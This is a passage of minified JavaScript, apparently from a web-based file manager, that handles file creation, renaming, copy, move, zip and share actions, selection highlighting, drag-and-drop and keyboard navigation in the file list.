r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:i,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var u=$(".textarea .newfile"),h=a.length;"folder"!=i&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),u.textSelect(0,h),"list_split"==G.user_config.list_type&&u.css("width",u.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var _=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==i?t.newFolder(a+e,m):t.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),u.focus().autoTextarea(),u.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),_(u.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){_(u.attr("value"))})},h=function(){var e="",i=ui.fileLight.fileListSelect(),a=ui.fileLight.name(i),o=core.pathFather(ui.fileLight.path(i)),s=ui.fileLight.type(i);if(1==i.length&&n()){if(i.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="<input class='fix' id='pathRenameTextarea' value='"+r+"'/>";"icon"==G.user_config.list_type&&(l="<textarea class='fix' id='pathRenameTextarea'>"+r+"</textarea>",i.css({height:i.height()})),$(i).addClass("file_icon_edit").find(".title").html("<div class='textarea'>"+l+"<div>");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,t.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(i).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},_=function(e){var t={},i=[];e.sort(function(e,t){return e.path==t.path?0:e.path>t.path?1:-1});for(var a=function(e){for(var i=e;""!=e;){if(t[e]!==void 0)return 1==t[e]?!0:i==e?(t[e]=1,!1):!0;e=core.pathFather(e)}return!1},n=0;e.length>n;n++)if("folder"==e[n].type){var o=rtrim(e[n].path,"/")+"/";t[o]||a(o)||(t[o]=0)}for(var n=0;e.length>n;n++){var o=e[n].path;"folder"==e[n].type&&(o=rtrim(o,"/")+"/"),a(o)||i.push(e[n])}return i},v=function(e){if(e){var t=[];return 0==ui.fileLight.fileListSelect().length?t:(ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),i="folder"==ui.fileLight.type($(this))?"folder":"file";t.push({path:e,type:i})}),_(t))}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var i=ui.fileLight.fileListSelect(),a=ui.fileLight.path(i),n=ui.fileLight.type(i);return{path:a,type:n}},g=function(e,t){for(var i in G.json_data)if("filelist"==i||"folderlist"==i)for(var a=0;G.json_data[i].length>a;a++)if(G.json_data[i][a][e]==t)return G.json_data[i][a]};return{makeParam:v,history:s,getJsondataCell:g,checkSystemPath:n,appEdit:function(e){if(e)t.appEdit(0,0,"user_add");else{var i=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(i));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),t.appEdit(a)}},appList:function(){t.appList(v().path)},appInstall:function(){t.appInstall(v().path)},openEditor:function(){i.openEditor(v().path)},openWindow:function(){var e=v();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(i.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return i.open(e),void 0;if(void 0!=e)return i.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var t=v(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,t.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==t.type){var n=a.attr("data-app");t.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=t.type)&&i.open(t.path,t.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var t=ui.fileLight.type($(this));if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var i=ui.fileLight.path($(this)),a=core.path2url(i,!1);e.push({url:a,name:core.pathThis(i),ext:t})}}),i.play(e)}},pathOperate:t,share:function(){t.share(v())},setBackground:function(){var e=core.path2url(v().path);ShareData.frameTop("",function(t){t.ui.setWall(e)}),ui.setWall(e),t.setBackground(e)},createLink:function(e){var i=v(),a=ui.fileLight.fileListSelect().last();i.name=trim(a.find(".filename").text()),t.createLink(i.path,i.name,i.type,e,m)},createProject:function(){t.createProject(v().path,m)},download:function(){var e=v(!0);1==e.length&&"file"==e[0].type?i.download(v().path):t.zipDownload(e)},shareEdit:function(){var e=g("path",v().path);try{var i=G.json_data.share_list[e.sid];t.shareBox(i)}catch(a){}},shareOpenWindow:function(){var e=g("path",v().path),t=e.type;"folder"==e.type&&(t=1==e.code_read?"code_read":"folder");var i="./index.php?share/"+t+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(i)},shareOpenPath:function(){var e=v(),t=g("path",e.path);if(!t||!G.json_data.share_list)return i.open(e.path,e.type),void 0;var a=G.json_data.share_list[t.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(v().path)},explorerNew:function(){window.open("index.php?/explorer&path="+v().path)},openProject:function(){core.explorerCode(v().path)},search:function(){core.search("",v().path)},fav:function(){var e=v(),i=ui.fileLight.fileListSelect().last();e.name=trim(i.find(".filename").text()),t.fav(e)},recycleClear:function(){t.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e,i){if(n()){var a=v(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(a,function(e){var t=g("path",a[e].path);void 0!=t&&(a[e].type="share",a[e].path=t.sid)}),t.remove(a,m,e,i)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(i){var a=trim($(this).text());i!=e.length-1?t.favRemove(a,"",!0):t.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&t.copy(v(!0))},cute:function(){n()&&t.cute(v(!0),ui.f5)},zip:function(e){t.zip(v(!0),m,e)},unZip:function(e){n()&&t.unZip(v().path,ui.f5,e)},cuteDrag:function(e){t.cuteDrag(v(!0),e,m)},copyDrag:function(e,i){t.copyDrag(v(!0),e,m,i)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){t.copyDrag(v(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){t.cuteDrag(v(!0),e,m)})},info:function(){t.info(v(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),t.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),u("file",p("newfile",e),e)},newFolder:function(){u("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+v().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:t.clipboard}}),define("app/src/explorer/tpl/file_create.html",[],"<div class=\"file select {{if type=='file'}}menufile{{else}}menufolder{{/if}} file_icon_edit\" id=\"makefile\">\n {{if list_type=='list'}}<span class=\"children_more\"></span>{{/if}}\n <div class=\"filename\" style=\"padding-top: 0px;\">\n <span class=\"title\">\n {{if type=='folder'}}\n <div class='ico' filetype='folder'>{{\"folder\" | core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{name_ext}}'>{{ext | core.icon}}</div>\n {{/if}}\n <div class=\"textarea\">\n {{if list_type=='icon'}}\n <textarea class='newfile fix'>{{newname}}</textarea>\n {{else}}\n <input class='newfile fix' value='{{newname}}'/>\n {{/if}}\n </div>\n </span>\n </div>\n <div style=\"clear:both;\"></div>\n</div>\n"),define("app/src/explorer/fileLight",[],function(){var e=$(),t=$(),i=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),t=e,u("clear"),n()},a=function(){var t=$(Config.SelectClass);e=t,t.length>1&&c(t),u("menufile"),o(),h()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var t="",i=0,a=e;0!=a.length&&(t=a.length+LNG.folder_info_item_select,a.each(function(){i+=parseInt($(this).attr("data-size"))}),0!=i&&(t=t+" ("+core.fileSize(i)+")")),$(".file_select_info .item_select").html(t)},s=function(t){var i=e;if(void 0==t&&i&&i.length>=1&&(t=$(i[i.length-1])),void 0!=t&&!t.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=t.parent());var n=t.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(m(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),u()},d=function(e){var t={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var i in t)e.hasClass(i)&&e.addClass(t[i]);u()},p=function(){var t=[];if(0!=e.length)return e.each(function(){t.push(m($(this)))}),t},f=function(){if(0!=e.length){var t=e;t.removeClass(Config.SelectClassName),t.each(function(){d($(this))}),e=$(),u(),o(),h()}},u=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled")):$(".drop-menu-action li").removeClass("disabled")},h=function(){var t=".close_item,.refresh,.newfile,.past,.info",i=".open_ie",a=".explorer,.createProject,.openProject",n=".close_item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more_action,.clone,.info,.zip,.zip_zip,.zip_tar,.zip_tgz",o=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.createLinkHome,.createLink,.createProject",s=$(".menuToolPath"),r="disabled";s.find(".context-menu-item").addClass(r),0==e.length?s.find(t).removeClass(r):1==e.length?(s.find(".context-menu-item").removeClass(r),"folder"==l(e)?s.find(i).addClass(r):s.find(a).addClass(r)):e.length>1&&s.find(n).removeClass(r),G.json_data&&G.json_data.info&&G.json_data.info.can_upload===!1&&s.find(o).filter(":not(."+r+")").addClass(r)},m=function(e,t){return void 0==t&&(t="data-path"),void 0!=e.attr("data-path-children")&&(t="data-path-children"),pathHashDecode(e.attr(t))};return{init:i,name:r,path:m,type:l,fileListSelect:function(t){return t&&(e=t),e},fileListAll:function(e){return e&&(t=e),t},select:a,setInView:s,setMenu:c,menuResetMore:h,resumeMenu:d,getAllName:p,clear:f,menuAction:u}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,t=!1,i=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){t&&a($(this)),e||t||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?i=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var t=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=t.index($(this));if(0==a.length)k(0,n,t);else{var o=t.index(a.first()),s=t.index(a.last());o>n?k(n,s,t):n>s?k(o,n,t):k(o,n,t)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),t&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),t?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&i&&(i=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var t=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(t),void 0}ui.path.open()}}),n(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){if(!$(this).hasClass("db_click_rename"))return!0;var t=$(this).parents(".file");return t.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(t){$(this).hasClass("menuTreeFolder")&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){i.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(t){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,i.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){t&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){t&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){t&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){t&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var t=ui.fileLight.path(e);ui.path.history.add(t),ui.fileContent.pathChildrenSplit(t,function(){c(t)})}},l=function(){var e=".fileList_list_split .split_box",t="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(t),$(this).addClass(t)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(t)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var t=$(e.target).parents(".file");(0==t.length||0==t.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var t=$(".fileList_list_split .split_box"),i=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==i.length&&(i=t.last()),t.removeClass(n),i.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=i.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var i,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,f=10,u=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(t){if(!t.shiftKey){if(ui.isEdit())return!0;if(1!=t.which||e)return!0;i=$(this),d(i)&&(g(t),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){x(e),this.releaseCapture&&this.releaseCapture()}))}});var _,v,g=function(e){rightMenu.hidden(),t=!0,l=$.now(),u=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!t)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var i=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return i=0>=i?0:i,r=0>=r?0:r,i-=p,r-=f,s.css({left:i,top:r}),y(e),j(i-h+p,r-u+f),!0}},y=function(e){clearTimeout(_),_=!1,_=setTimeout(function(){try{k(e)}catch(t){}},10)},k=function(e){var t=e.ctrlKey||e.metaKey,i=function(e,t){G.sid!==void 0&&(e="none"),void 0!=t&&0!==t.search(G.KOD_GROUP_PATH)&&0!==t.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(t)&&(e="clear");var i=htmlEncode(core.pathThis(t)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:'<i class="font-icon bg-ok icon-copy"></i><b>'+LNG.copy_to+'</b>"'+i+'"',move_to:'<i class="font-icon bg-ok icon-share-alt"></i><b>'+LNG.cute_to+'</b>"'+i+'"',remove:'<i class="font-icon bg-error icon-trash"></i><b>'+LNG.remove+a+"</b>",share:'<i class="font-icon bg-ok icon-share-sign"></i><b>'+LNG.share+a+"</b>",none:'<i class="font-icon bg-error icon-minus"></i><b>'+LNG.no_permission_write+"</b>",clear:s.attr("data-beforeInfo")};t==G.this_path&&(n.copy_to='<i class="font-icon bg-ok icon-copy"></i><b>'+LNG.clone+"</b>"),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",t)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?i("remove"):t?i("copy_to",a):i("move_to",a)}else if(0!=$(".recycle_hover").length)i("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)i("share");else if(t){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),i("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?i("clear"):i("move_to",ui.fileLight.path($(".split_hover")))},x=function(){if(!t)return!1;if(t=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,t){switch(e){case"copy_to":ui.path.copyDrag(t,!0);break;case"move_to":ui.path.cuteDrag(t);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},i=s.attr("data-actionType");-1!=$.inArray(i,["copy_to","move_to","remove","share"])?E(!1):E(!0),e(i,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('<div class="file draggable-dragging"><div class="drag_number">'+e+'</div><span><i class="font-icon bg-default icon-ok"></i>'+e+" "+LNG.file+"</span></div>").appendTo("body"),c=!0,setTimeout(S,20)},N=0,L=5,C=35,z=20,T=60,S=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},t=e[G.user_config.list_type];$("<div class='fileContiner file-draging-box'><div class='"+t+" file-draging'></div></div>").appendTo("body"),v=$(Config.SelectClass).filter("[data-path!='']");var i=v.clone();(v.length>=T||$.browser.msie)&&(i=r.clone()),i.appendTo(".file-draging"),i.each(function(e){var t=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=t.offset();$(this).css({left:a.left,top:a.top,width:t.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*L,"data-sizeAdd":N*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==i.length&&($(this).data({"data-animateTime":0}),z=0)}),v.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");i.each(function(){var t=$(this),i=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=t.offset(),s=e.offset(),r=(s.left+i-o.left)*n,l=(s.top+i+C-o.top)*n;t.css({left:o.left+r,top:o.top+l})},complete:function(){t.data("status","finished")}})})},z);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},j=function(e,t){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+t})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),t=$(".draggable-dragging").offset();$(this).css({left:t.left+e,top:t.top+e+C})}}),void 0)},E=function(e){var t=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(t){var i=t*L,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+i,function(){v.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+i,function(){$(this).remove()}))});var i=setTimeout(function(){$(".file-draging-box").remove()},400+L*t);$(".file-draging-box").data("removeDelay",i)}},f=function(){var i=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||t)return!0;f(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){u(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var f=function(t){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(t.target).parents(".split_box").scrollTop()),$(t.target).parent().hasClass(Config.FileBoxClassName)||$(t.target).parent().parent().hasClass(Config.FileBoxClassName)||$(t.target).hasClass("fix")||(rightMenu.hidden(),t.ctrlKey||t.metaKey||t.shiftKey||ui.fileLight.clear(),$(t.target).hasClass("ico")||(i=t.pageX-s,a=t.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('<div id="selContainer"></div>').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},u=function(t){if(!e)return!0;var o=t.pageX-p.offset().left+p.scrollLeft(),s=t.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-i),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,i),top:Math.min(s,a),width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h() -},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),t=n.offset().top-p.offset().top+p.scrollTop(),i=e+n.width(),a=t+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,f=r.offsetTop-c,u=d+l.width(),h=f+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,u=d+l.width()),i-e+u-d>Math.abs(e+i-(d+u))&&a-t+h-f>Math.abs(t+a-(f+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,i=null,a=null,void 0):!1}},u=function(e,t){var i=$(".fileList_list_split .split_box.split_select");if(e)i=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();i=a.parents(".split_box")}return i.find(t)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():u(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():u(e,".file.select")}},m=function(e){var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getColfileNumberDesktop(),s=t.index(i.first()),r=t.index(i.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return t.eq(n)},_=function(e){if("desktop"==Config.pageApp)return m(e);var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=t.index(i.first()),l=t.index(i.last());switch(e){case"up":n=0>=r-o?0:r-o,n=v(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=v(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=v(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=v(n,!0);break;default:}return t.eq(n)},v=function(e,t){for(var i=h.fileListAll(),a=i.eq(e),n=i.length;0!=a.parents(".hidden").length;){if(t?e++:e--,0>=e||e>=n)return e;a=i.eq(e)}return e},g=function(e){var t,i=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),t=i.first();break;case"end":n=a.first(),t=i.last();break;case"left":n=a.last(),t=_(e);break;case"up":n=a.last(),t=_(e);break;case"right":n=a.first(),t=_(e);break;case"down":n=a.first(),t=_(e);break;case"pageup":n=a.last(),t=_(e);break;case"pagedown":n=a.first(),t=_(e);break;case"all":t=i;break;default:}if(!y(e)){if(o&&""!=n){var s=i.index(n),r=i.index(t);if(s>r){var l=s;s=r,r=l}return k(s,r,i),void 